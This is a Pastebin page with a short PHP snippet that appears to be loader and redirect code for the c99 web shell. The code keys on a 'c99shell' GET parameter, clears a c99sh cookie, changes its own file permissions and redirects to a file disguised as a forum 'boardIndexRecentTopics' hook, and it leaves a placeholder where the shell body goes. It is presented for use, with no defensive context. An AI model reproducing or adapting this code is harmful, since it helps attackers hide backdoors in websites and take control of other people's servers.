Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (isset($_GET['c99shell']) || (preg_match ( '/.*?boardIndexRecentTopics_(.+?)\.php/' , $_SERVER['SCRIPT_FILENAME'])))
- {
- if (!(preg_match ('/.*?boardIndexRecentTopics_(.+?)\.php/',$_SERVER['SCRIPT_FILENAME'])))
- {
- if ($_GET['c99shell'] != 'noredirect')
- {
- setcookie("c99sh_surl","");
- preg_match ('/.*?boardIndexRecentTopics_(.+?)\.php/',__FILE__,$hashData);
- chmod(__FILE__,0644);
- header('Location: hooks/boardIndexRecentTopics_'.$hashData['1'].'.php');
- exit();
- }
- else
- {
- $set_surl = $_SERVER['PHP_SELF']."?c99shell=noredirect&";
- foreach ($_GET as $get)
- {
- $get=html_entity_decode($get);
- }
- unset($get);}
- }
- // my funky code here
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement